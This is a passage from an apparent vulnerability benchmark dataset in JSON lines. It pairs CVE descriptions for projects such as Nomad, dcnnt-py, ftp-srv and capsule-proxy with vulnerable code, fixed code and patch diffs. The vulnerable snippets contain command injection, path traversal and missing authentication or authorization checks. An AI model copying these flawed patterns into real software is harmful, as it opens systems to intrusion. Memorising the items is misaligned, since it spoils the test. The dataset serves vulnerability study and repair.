urllib.parse.quote(path)"}, {"id": "fix_py_172_3", "commit": "895807f", "file_path": "uvicorn/protocols/utils.py", "start_line": 52, "end_line": 60, "snippet": "def get_path_with_query_string(scope):\n    path_with_query_string = urllib.parse.quote(\n        scope.get(\"root_path\", \"\") + scope[\"path\"]\n    )\n    if scope[\"query_string\"]:\n        path_with_query_string = \"{}?{}\".format(\n            path_with_query_string, scope[\"query_string\"].decode(\"ascii\")\n        )\n    return path_with_query_string"}], "vul_patch": "--- a/uvicorn/logging.py\n+++ b/uvicorn/logging.py\n@@ -1,2 +1,2 @@\n     def get_path(self, scope):\n-        return scope.get(\"root_path\", \"\") + scope[\"path\"]\n+        return urllib.parse.quote(scope.get(\"root_path\", \"\") + scope[\"path\"])\n\n--- a/uvicorn/logging.py\n+++ b/uvicorn/logging.py\n@@ -2,5 +2,5 @@\n         path = scope.get(\"root_path\", \"\") + scope[\"path\"]\n         query_string = scope.get(\"query_string\", b\"\").decode(\"ascii\")\n         if query_string:\n-            return path + \"?\" + query_string\n-        return path\n+            return urllib.parse.quote(path) + \"?\" + query_string\n+        return urllib.parse.quote(path)\n\n--- a/uvicorn/protocols/utils.py\n+++ b/uvicorn/protocols/utils.py\n@@ -1,5 +1,7 @@\n def get_path_with_query_string(scope):\n-    path_with_query_string = scope.get(\"root_path\", \"\") + scope[\"path\"]\n+    path_with_query_string = urllib.parse.quote(\n+        scope.get(\"root_path\", \"\") + scope[\"path\"]\n+    )\n     if scope[\"query_string\"]:\n         path_with_query_string = \"{}?{}\".format(\n             path_with_query_string, scope[\"query_string\"].decode(\"ascii\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-3300", "cve_description": "HashiCorp Nomad and Nomad Enterprise 0.11.0 up to 1.5.6 and 1.4.1 HTTP search API can reveal names of available CSI plugins to unauthenticated users or users without the plugin:read policy. Fixed in 1.6.0, 1.5.7, and 1.4.1.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/hashicorp/nomad", "patch_url": ["https://github.com/hashicorp/nomad/commit/a8789d3872bbf1b1f420f28b0f7ad8532a41d5e3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_148_1", "commit": "54c45ed", "file_path": "acl/acl.go", "start_line": 504, "end_line": 519, "snippet": "func (a *ACL) AllowVariableSearch(ns string) bool {\n\tif a.management {\n\t\treturn true\n\t}\n\titer := a.variables.Root().Iterator()\n\titer.SeekPrefix([]byte(ns))\n\t_, _, ok := iter.Next()\n\tif ok {\n\t\treturn true\n\t}\n\n\titer = a.wildcardVariables.Root().Iterator()\n\titer.SeekPrefix([]byte(ns))\n\t_, _, ok = iter.Next()\n\treturn ok\n}"}, {"id": "vul_go_148_2", "commit": "54c45ed", "file_path": "nomad/search_endpoint.go", "start_line": 666, "end_line": 707, "snippet": "func sufficientSearchPerms(aclObj *acl.ACL, namespace string, context structs.Context) bool {\n\tif aclObj == nil || aclObj.IsManagement() {\n\t\treturn true\n\t}\n\n\tnodeRead := aclObj.AllowNodeRead()\n\tallowNodePool := aclObj.AllowNodePoolSearch()\n\tallowNS := aclObj.AllowNamespace(namespace)\n\tjobRead := aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityReadJob)\n\tallowEnt := sufficientSearchPermsEnt(aclObj)\n\n\tif !nodeRead && !allowNodePool && !allowNS && !allowEnt && !jobRead {\n\t\treturn false\n\t}\n\n\t// Reject requests that explicitly specify a disallowed context. This\n\t// should give the user better feedback than simply filtering out all\n\t// results and returning an empty list.\n\tswitch context {\n\tcase structs.Nodes:\n\t\treturn nodeRead\n\tcase structs.NodePools:\n\t\t// The search term alone is not enough to determine if the token is\n\t\t// allowed to access the given prefix since it may not match node pool\n\t\t// label in the policy. Node pools will be filtered when iterating over\n\t\t// the results.\n\t\treturn allowNodePool\n\tcase structs.Namespaces:\n\t\treturn allowNS\n\tcase structs.Allocs, structs.Deployments, structs.Evals, structs.Jobs:\n\t\treturn jobRead\n\tcase structs.Volumes:\n\t\treturn acl.NamespaceValidator(acl.NamespaceCapabilityCSIListVolume,\n\t\t\tacl.NamespaceCapabilityCSIReadVolume,\n\t\t\tacl.NamespaceCapabilityListJobs,\n\t\t\tacl.NamespaceCapabilityReadJob)(aclObj, namespace)\n\tcase structs.Variables:\n\t\treturn aclObj.AllowVariableSearch(namespace)\n\t}\n\n\treturn true\n}"}, {"id": "vul_go_148_3", "commit": "54c45ed", "file_path": "nomad/search_endpoint.go", "start_line": 895, "end_line": 952, "snippet": "func filteredSearchContexts(aclObj *acl.ACL, namespace string, context structs.Context) []structs.Context {\n\tdesired := expandContext(context)\n\n\t// If ACLs aren't enabled return all contexts\n\tif aclObj == nil {\n\t\treturn desired\n\t}\n\tif aclObj.IsManagement() {\n\t\treturn desired\n\t}\n\tjobRead := aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityReadJob)\n\tallowVolume := acl.NamespaceValidator(acl.NamespaceCapabilityCSIListVolume,\n\t\tacl.NamespaceCapabilityCSIReadVolume,\n\t\tacl.NamespaceCapabilityListJobs,\n\t\tacl.NamespaceCapabilityReadJob)\n\tvolRead := allowVolume(aclObj, namespace)\n\tpolicyRead := aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityListScalingPolicies)\n\n\t// Filter contexts down to those the ACL grants access to\n\tavailable := make([]structs.Context, 0, len(desired))\n\tfor _, c := range desired {\n\t\tswitch c {\n\t\tcase structs.Allocs, structs.Jobs, structs.Evals, structs.Deployments:\n\t\t\tif jobRead {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.ScalingPolicies:\n\t\t\tif policyRead || jobRead {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Namespaces:\n\t\t\tif aclObj.AllowNamespace(namespace) {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Variables:\n\t\t\tif jobRead {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Nodes:\n\t\t\tif aclObj.AllowNodeRead() {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.NodePools:\n\t\t\tif aclObj.AllowNodePoolSearch() {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Volumes:\n\t\t\tif volRead {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tdefault:\n\t\t\tif ok := filteredSearchContextsEnt(aclObj, namespace, c); ok {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\t}\n\t}\n\treturn available\n}"}, {"id": "vul_go_148_4", "commit": "54c45ed", "file_path": "nomad/search_endpoint_oss.go", "start_line": 54, "end_line": 56, "snippet": "func sufficientSearchPermsEnt(aclObj *acl.ACL) bool {\n\treturn true\n}"}], "fix_func": [{"id": "fix_go_148_1", "commit": "a8789d3", "file_path": "acl/acl.go", "start_line": 504, "end_line": 523, "snippet": "func (a *ACL) AllowVariableSearch(ns string) bool {\n\tif a.management {\n\t\treturn true\n\t}\n\tif ns == \"*\" {\n\t\treturn a.variables.Len() > 0 || a.wildcardVariables.Len() > 0\n\t}\n\n\titer := a.variables.Root().Iterator()\n\titer.SeekPrefix([]byte(ns))\n\t_, _, ok := iter.Next()\n\tif ok {\n\t\treturn true\n\t}\n\n\titer = a.wildcardVariables.Root().Iterator()\n\titer.SeekPrefix([]byte(ns))\n\t_, _, ok = iter.Next()\n\treturn ok\n}"}, {"id": "fix_go_148_2", "commit": "a8789d3", "file_path": "nomad/search_endpoint.go", "start_line": 669, "end_line": 705, "snippet": "func sufficientSearchPerms(aclObj *acl.ACL, namespace string, context structs.Context) bool {\n\tif aclObj == nil || aclObj.IsManagement() {\n\t\treturn true\n\t}\n\n\t// Reject requests that explicitly specify a disallowed context. This\n\t// should give the user better feedback than simply filtering out all\n\t// results and returning an empty list.\n\tswitch context {\n\tcase structs.Nodes:\n\t\treturn aclObj.AllowNodeRead()\n\tcase structs.NodePools:\n\t\t// The search term alone is not enough to determine if the token is\n\t\t// allowed to access the given prefix since it may not match node pool\n\t\t// label in the policy. Node pools will be filtered when iterating over\n\t\t// the results.\n\t\treturn aclObj.AllowNodePoolSearch()\n\tcase structs.Namespaces:\n\t\treturn aclObj.AllowNamespace(namespace)\n\tcase structs.Allocs, structs.Deployments, structs.Evals, structs.Jobs,\n\t\tstructs.ScalingPolicies, structs.Recommendations:\n\t\treturn aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityReadJob)\n\tcase structs.Volumes:\n\t\treturn acl.NamespaceValidator(acl.NamespaceCapabilityCSIListVolume,\n\t\t\tacl.NamespaceCapabilityCSIReadVolume,\n\t\t\tacl.NamespaceCapabilityListJobs,\n\t\t\tacl.NamespaceCapabilityReadJob)(aclObj, namespace)\n\tcase structs.Variables:\n\t\treturn aclObj.AllowVariableSearch(namespace)\n\tcase structs.Plugins:\n\t\treturn aclObj.AllowPluginList()\n\tcase structs.Quotas:\n\t\treturn aclObj.AllowQuotaRead()\n\t}\n\n\treturn true\n}"}, {"id": "fix_go_148_3", "commit": "a8789d3", "file_path": "nomad/search_endpoint.go", "start_line": 893, "end_line": 954, "snippet": "func filteredSearchContexts(aclObj *acl.ACL, namespace string, context structs.Context) []structs.Context {\n\tdesired := expandContext(context)\n\n\t// If ACLs aren't enabled return all contexts\n\tif aclObj == nil {\n\t\treturn desired\n\t}\n\tif aclObj.IsManagement() {\n\t\treturn desired\n\t}\n\tjobRead := aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityReadJob)\n\tallowVolume := acl.NamespaceValidator(acl.NamespaceCapabilityCSIListVolume,\n\t\tacl.NamespaceCapabilityCSIReadVolume,\n\t\tacl.NamespaceCapabilityListJobs,\n\t\tacl.NamespaceCapabilityReadJob)\n\tvolRead := allowVolume(aclObj, namespace)\n\tpolicyRead := aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityListScalingPolicies)\n\n\t// Filter contexts down to those the ACL grants access to\n\tavailable := make([]structs.Context, 0, len(desired))\n\tfor _, c := range desired {\n\t\tswitch c {\n\t\tcase structs.Allocs, structs.Jobs, structs.Evals, structs.Deployments:\n\t\t\tif jobRead {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.ScalingPolicies:\n\t\t\tif policyRead || jobRead {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Namespaces:\n\t\t\tif aclObj.AllowNamespace(namespace) {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Variables:\n\t\t\tif aclObj.AllowVariableSearch(namespace) {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Nodes:\n\t\t\tif aclObj.AllowNodeRead() {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.NodePools:\n\t\t\tif aclObj.AllowNodePoolSearch() {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Volumes:\n\t\t\tif volRead {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tcase structs.Plugins:\n\t\t\tif aclObj.AllowPluginList() {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\tdefault:\n\t\t\tif ok := filteredSearchContextsEnt(aclObj, namespace, c); ok {\n\t\t\t\tavailable = append(available, c)\n\t\t\t}\n\t\t}\n\t}\n\treturn available\n}"}], "vul_patch": "--- a/acl/acl.go\n+++ b/acl/acl.go\n@@ -2,6 +2,10 @@\n \tif a.management {\n \t\treturn true\n \t}\n+\tif ns == \"*\" {\n+\t\treturn a.variables.Len() > 0 || a.wildcardVariables.Len() > 0\n+\t}\n+\n \titer := a.variables.Root().Iterator()\n \titer.SeekPrefix([]byte(ns))\n \t_, _, ok := iter.Next()\n\n--- a/nomad/search_endpoint.go\n+++ b/nomad/search_endpoint.go\n@@ -1,16 +1,6 @@\n func sufficientSearchPerms(aclObj *acl.ACL, namespace string, context structs.Context) bool {\n \tif aclObj == nil || aclObj.IsManagement() {\n \t\treturn true\n-\t}\n-\n-\tnodeRead := aclObj.AllowNodeRead()\n-\tallowNodePool := aclObj.AllowNodePoolSearch()\n-\tallowNS := aclObj.AllowNamespace(namespace)\n-\tjobRead := aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityReadJob)\n-\tallowEnt := sufficientSearchPermsEnt(aclObj)\n-\n-\tif !nodeRead && !allowNodePool && !allowNS && !allowEnt && !jobRead {\n-\t\treturn false\n \t}\n \n \t// Reject requests that explicitly specify a disallowed context. This\n@@ -18,17 +8,18 @@\n \t// results and returning an empty list.\n \tswitch context {\n \tcase structs.Nodes:\n-\t\treturn nodeRead\n+\t\treturn aclObj.AllowNodeRead()\n \tcase structs.NodePools:\n \t\t// The search term alone is not enough to determine if the token is\n \t\t// allowed to access the given prefix since it may not match node pool\n \t\t// label in the policy. Node pools will be filtered when iterating over\n \t\t// the results.\n-\t\treturn allowNodePool\n+\t\treturn aclObj.AllowNodePoolSearch()\n \tcase structs.Namespaces:\n-\t\treturn allowNS\n-\tcase structs.Allocs, structs.Deployments, structs.Evals, structs.Jobs:\n-\t\treturn jobRead\n+\t\treturn aclObj.AllowNamespace(namespace)\n+\tcase structs.Allocs, structs.Deployments, structs.Evals, structs.Jobs,\n+\t\tstructs.ScalingPolicies, structs.Recommendations:\n+\t\treturn aclObj.AllowNsOp(namespace, acl.NamespaceCapabilityReadJob)\n \tcase structs.Volumes:\n \t\treturn acl.NamespaceValidator(acl.NamespaceCapabilityCSIListVolume,\n \t\t\tacl.NamespaceCapabilityCSIReadVolume,\n@@ -36,6 +27,10 @@\n \t\t\tacl.NamespaceCapabilityReadJob)(aclObj, namespace)\n \tcase structs.Variables:\n \t\treturn aclObj.AllowVariableSearch(namespace)\n+\tcase structs.Plugins:\n+\t\treturn aclObj.AllowPluginList()\n+\tcase structs.Quotas:\n+\t\treturn aclObj.AllowQuotaRead()\n \t}\n \n \treturn true\n\n--- a/nomad/search_endpoint.go\n+++ b/nomad/search_endpoint.go\n@@ -33,7 +33,7 @@\n \t\t\t\tavailable = append(available, c)\n \t\t\t}\n \t\tcase structs.Variables:\n-\t\t\tif jobRead {\n+\t\t\tif aclObj.AllowVariableSearch(namespace) {\n \t\t\t\tavailable = append(available, c)\n \t\t\t}\n \t\tcase structs.Nodes:\n@@ -48,6 +48,10 @@\n \t\t\tif volRead {\n \t\t\t\tavailable = append(available, c)\n \t\t\t}\n+\t\tcase structs.Plugins:\n+\t\t\tif aclObj.AllowPluginList() {\n+\t\t\t\tavailable = append(available, c)\n+\t\t\t}\n \t\tdefault:\n \t\t\tif ok := filteredSearchContextsEnt(aclObj, namespace, c); ok {\n \t\t\t\tavailable = append(available, c)\n\n--- a/nomad/search_endpoint_oss.go\n+++ /dev/null\n@@ -1,3 +0,0 @@\n-func sufficientSearchPermsEnt(aclObj *acl.ACL) bool {\n-\treturn true\n-}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-1000", "cve_description": "A vulnerability was found in cyanomiko dcnnt-py up to 0.9.0. It has been classified as critical. Affected is the function main of the file dcnnt/plugins/notifications.py of the component Notification Handler. The manipulation leads to command injection. It is possible to launch the attack remotely. Upgrading to version 0.9.1 is able to address this issue. The patch is identified as b4021d784a97e25151a5353aa763a741e9a148f5. It is recommended to upgrade the affected component. VDB-262230 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/cyanomiko/dcnnt-py", "patch_url": ["https://github.com/cyanomiko/dcnnt-py/commit/b4021d784a97e25151a5353aa763a741e9a148f5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_211_1", "commit": "4084ea1", "file_path": "dcnnt/plugins/notifications.py", "start_line": 31, "end_line": 58, "snippet": "    def main(self):\n        while True:\n            request = self.rpc_read()\n            self.log(request)\n            if request is None:\n                self.log('No more requests, stop handler')\n                return\n            cmd = self.conf('cmd')\n            if not cmd:\n                return\n            if request.method == 'notification':\n                icon_data = self.read() if request.params.get('packageIcon', False) else None\n                if request.params.get('event') == 'posted':\n                    text, package = map(request.params.get, ('text', 'package'))\n                    title = request.params.get('title', 'NULL')\n                    name, uin = self.device.name, self.device.uin\n                    if text is None:\n                        text = ''\n                    icon_path = os.path.join(self.conf('icon_dir'), f'{package}.{self.device.uin}.icon.png')\n                    if bool(icon_data):\n                        try:\n                            open(icon_path, 'wb').write(icon_data)\n                        except Exception as e:\n                            self.log(e, logging.WARNING)\n                    icon = icon_path if icon_data else ''\n                    command = cmd.format(uin=uin, name=name, icon=icon, text=text, title=title, package=package)\n                    self.log('Execute: \"{}\"'.format(command))\n                    subprocess.call(command, shell=True)"}], "fix_func": [{"id": "fix_py_211_1", "commit": "b4021d7", "file_path": "dcnnt/plugins/notifications.py", "start_line": 32, "end_line": 59, "snippet": "    def main(self):\n        while True:\n            request = self.rpc_read()\n            self.log(request)\n            if request is None:\n                self.log('No more requests, stop handler')\n                return\n            cmd = self.conf('cmd')\n            if not cmd:\n                return\n            if request.method == 'notification':\n                icon_data = self.read() if request.params.get('packageIcon', False) else None\n                if request.params.get('event') == 'posted':\n                    text, package = map(request.params.get, ('text', 'package'))\n                    title = request.params.get('title', 'NULL')\n                    name, uin = self.device.name, self.device.uin\n                    if text is None:\n                        text = ''\n                    icon_path = os.path.join(self.conf('icon_dir'), f'{package}.{self.device.uin}.icon.png')\n                    if bool(icon_data):\n                        try:\n                            open(icon_path, 'wb').write(icon_data)\n                        except Exception as e:\n                            self.log(e, logging.WARNING)\n                    icon = icon_path if icon_data else ''\n                    command = cmd.format(uin=quote(uin), name=quote(name), icon=quote(icon), text=quote(text), title=quote(title), package=quote(package))\n                    self.log('Execute: \"{}\"'.format(command))\n                    subprocess.call(command, shell=True)"}], "vul_patch": "--- a/dcnnt/plugins/notifications.py\n+++ b/dcnnt/plugins/notifications.py\n@@ -23,6 +23,6 @@\n                         except Exception as e:\n                             self.log(e, logging.WARNING)\n                     icon = icon_path if icon_data else ''\n-                    command = cmd.format(uin=uin, name=name, icon=icon, text=text, title=title, package=package)\n+                    command = cmd.format(uin=quote(uin), name=quote(name), icon=quote(icon), text=quote(text), title=quote(title), package=quote(package))\n                     self.log('Execute: \"{}\"'.format(command))\n                     subprocess.call(command, shell=True)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26299", "cve_description": "ftp-srv is an open-source FTP server designed to be simple yet configurable. In ftp-srv before version 4.4.0 there is a path-traversal vulnerability. Clients of FTP servers utilizing ftp-srv hosted on Windows machines can escape the FTP user's defined root folder using the expected FTP commands, for example, CWD and UPDR. When windows separators exist within the path (`\\`), `path.resolve` leaves the upper pointers intact and allows the user to move beyond the root folder defined for that user. We did not take that into account when creating the path resolve function. The issue is patched in version 4.4.0 (commit 457b859450a37cba10ff3c431eb4aa67771122e3).", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/autovance/ftp-srv", "patch_url": ["https://github.com/autovance/ftp-srv/commit/457b859450a37cba10ff3c431eb4aa67771122e3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_55_1", "commit": "722da60", "file_path": "src/fs.js", "start_line": 10, "end_line": 14, "snippet": "  constructor(connection, {root, cwd} = {}) {\n    this.connection = connection;\n    this.cwd = nodePath.normalize(cwd ? nodePath.join(nodePath.sep, cwd) : nodePath.sep);\n    this._root = nodePath.resolve(root || process.cwd());\n  }"}, {"id": "vul_js_55_2", "commit": "722da60", "file_path": "src/fs.js", "start_line": 20, "end_line": 39, "snippet": "  _resolvePath(path = '.') {\n    const clientPath = (() => {\n      path = nodePath.normalize(path);\n      if (nodePath.isAbsolute(path)) {\n        return nodePath.join(path);\n      } else {\n        return nodePath.join(this.cwd, path);\n      }\n    })();\n\n    const fsPath = (() => {\n      const resolvedPath = nodePath.join(this.root, clientPath);\n      return nodePath.resolve(nodePath.normalize(nodePath.join(resolvedPath)));\n    })();\n\n    return {\n      clientPath,\n      fsPath\n    };\n  }"}], "fix_func": [{"id": "fix_js_55_1", "commit": "457b859", "file_path": "src/fs.js", "start_line": 13, "end_line": 17, "snippet": "  constructor(connection, {root, cwd} = {}) {\n    this.connection = connection;\n    this.cwd = nodePath.normalize((cwd || '/').replace(WIN_SEP_REGEX, '/'));\n    this._root = nodePath.resolve(root || process.cwd());\n  }"}, {"id": "fix_js_55_2", "commit": "457b859", "file_path": "src/fs.js", "start_line": 23, "end_line": 44, "snippet": "  _resolvePath(path = '.') {\n    // Unix separators normalize nicer on both unix and win platforms\n    const resolvedPath = path.replace(WIN_SEP_REGEX, '/');\n\n    // Join cwd with new path\n    const joinedPath = nodePath.isAbsolute(resolvedPath)\n      ? nodePath.normalize(resolvedPath)\n      : nodePath.join('/', this.cwd, resolvedPath);\n\n    // Create local filesystem path using the platform separator\n    const fsPath = nodePath.resolve(nodePath.join(this.root, joinedPath)\n      .replace(UNIX_SEP_REGEX, nodePath.sep)\n      .replace(WIN_SEP_REGEX, nodePath.sep));\n\n    // Create FTP client path using unix separator\n    const clientPath = joinedPath.replace(WIN_SEP_REGEX, '/');\n\n    return {\n      clientPath,\n      fsPath\n    };\n  }"}, {"id": "fix_js_55_3", "commit": "457b859", "file_path": "src/fs.js", "start_line": 9, "end_line": 10, "snippet": "const UNIX_SEP_REGEX = /\\//g;\nconst WIN_SEP_REGEX = /\\\\/g;"}], "vul_patch": "--- a/src/fs.js\n+++ b/src/fs.js\n@@ -1,5 +1,5 @@\n   constructor(connection, {root, cwd} = {}) {\n     this.connection = connection;\n-    this.cwd = nodePath.normalize(cwd ? nodePath.join(nodePath.sep, cwd) : nodePath.sep);\n+    this.cwd = nodePath.normalize((cwd || '/').replace(WIN_SEP_REGEX, '/'));\n     this._root = nodePath.resolve(root || process.cwd());\n   }\n\n--- a/src/fs.js\n+++ b/src/fs.js\n@@ -1,17 +1,19 @@\n   _resolvePath(path = '.') {\n-    const clientPath = (() => {\n-      path = nodePath.normalize(path);\n-      if (nodePath.isAbsolute(path)) {\n-        return nodePath.join(path);\n-      } else {\n-        return nodePath.join(this.cwd, path);\n-      }\n-    })();\n+    // Unix separators normalize nicer on both unix and win platforms\n+    const resolvedPath = path.replace(WIN_SEP_REGEX, '/');\n \n-    const fsPath = (() => {\n-      const resolvedPath = nodePath.join(this.root, clientPath);\n-      return nodePath.resolve(nodePath.normalize(nodePath.join(resolvedPath)));\n-    })();\n+    // Join cwd with new path\n+    const joinedPath = nodePath.isAbsolute(resolvedPath)\n+      ? nodePath.normalize(resolvedPath)\n+      : nodePath.join('/', this.cwd, resolvedPath);\n+\n+    // Create local filesystem path using the platform separator\n+    const fsPath = nodePath.resolve(nodePath.join(this.root, joinedPath)\n+      .replace(UNIX_SEP_REGEX, nodePath.sep)\n+      .replace(WIN_SEP_REGEX, nodePath.sep));\n+\n+    // Create FTP client path using unix separator\n+    const clientPath = joinedPath.replace(WIN_SEP_REGEX, '/');\n \n     return {\n       clientPath,\n\n--- /dev/null\n+++ b/src/fs.js\n@@ -0,0 +1,2 @@\n+const UNIX_SEP_REGEX = /\\//g;\n+const WIN_SEP_REGEX = /\\\\/g;\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26299:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ftp-srv\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"cannot escape root - win\" --exit\n", "unit_test_cmd": null}
{"cve_id": "CVE-2019-10061", "cve_description": "utils/find-opencv.js in node-opencv (aka OpenCV bindings for Node.js) prior to 6.1.0 is vulnerable to Command Injection. It does not validate user input allowing attackers to execute arbitrary commands.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/peterbraden/node-opencv", "patch_url": ["https://github.com/peterbraden/node-opencv/commit/81a4b8620188e89f7e4fc985f3c89b58d4bcc86b", "https://github.com/peterbraden/node-opencv/commit/aaece6921d7368577511f06c94c99dd4e9653563"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_140_1", "commit": "cfc96ba", "file_path": "utils/find-opencv.js", "start_line": 5, "end_line": 5, "snippet": "var flag = process.argv[2] || \"--exists\";"}], "fix_func": [{"id": "fix_js_140_1", "commit": "81a4b86", "file_path": "utils/find-opencv.js", "start_line": 5, "end_line": 5, "snippet": "var flag = \"--exists\";"}], "vul_patch": "--- a/utils/find-opencv.js\n+++ b/utils/find-opencv.js\n@@ -1 +1 @@\n-var flag = process.argv[2] || \"--exists\";\n+var flag = \"--exists\";\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-48312", "cve_description": "capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/projectcapsule/capsule-proxy", "patch_url": ["https://github.com/projectcapsule/capsule-proxy/commit/472404f7006a4152e4eec76dee07324dd1e6e823"], "programing_language": "Go", "vul_func": [{"id": "vul_go_94_1", "commit": "079600f", "file_path": "internal/request/http.go", "start_line": 106, "end_line": 122, "snippet": "func (h http) processBearerToken() (username string, groups []string, err error) {\n\ttr := &authenticationv1.TokenReview{\n\t\tSpec: authenticationv1.TokenReviewSpec{\n\t\t\tToken: h.bearerToken(),\n\t\t},\n\t}\n\n\tif err = h.client.Create(h.Request.Context(), tr); err != nil {\n\t\treturn \"\", nil, fmt.Errorf(\"cannot create TokenReview\")\n\t}\n\n\tif statusErr := tr.Status.Error; len(statusErr) > 0 {\n\t\treturn \"\", nil, fmt.Errorf(\"cannot verify the token due to error\")\n\t}\n\n\treturn tr.Status.User.Username, tr.Status.User.Groups, nil\n}"}], "fix_func": [{"id": "fix_go_94_1", "commit": "472404f", "file_path": "internal/request/http.go", "start_line": 106, "end_line": 126, "snippet": "func (h http) processBearerToken() (username string, groups []string, err error) {\n\ttr := &authenticationv1.TokenReview{\n\t\tSpec: authenticationv1.TokenReviewSpec{\n\t\t\tToken: h.bearerToken(),\n\t\t},\n\t}\n\n\tif err = h.client.Create(h.Request.Context(), tr); err != nil {\n\t\treturn \"\", nil, fmt.Errorf(\"cannot create TokenReview\")\n\t}\n\n\tif !tr.Status.Authenticated {\n\t\treturn \"\", nil, fmt.Errorf(\"cannot verify the token due to error\")\n\t}\n\n\tif statusErr := tr.Status.Error; len(statusErr) > 0 {\n\t\treturn \"\", nil, fmt.Errorf(\"cannot verify the token due to error\")\n\t}\n\n\treturn tr.Status.User.Username, tr.Status.User.Groups, nil\n}"}], "vul_patch": "--- a/internal/request/http.go\n+++ b/internal/request/http.go\n@@ -9,6 +9,10 @@\n \t\treturn \"\", nil, fmt.Errorf(\"cannot create TokenReview\")\n \t}\n \n+\tif !tr.Status.Authenticated {\n+\t\treturn \"\", nil, fmt.Errorf(\"cannot verify the token due to error\")\n+\t}\n+\n \tif statusErr := tr.Status.Error; len(statusErr) > 0 {\n \t\treturn \"\", nil, fmt.Errorf(\"cannot verify the token due to error\")\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
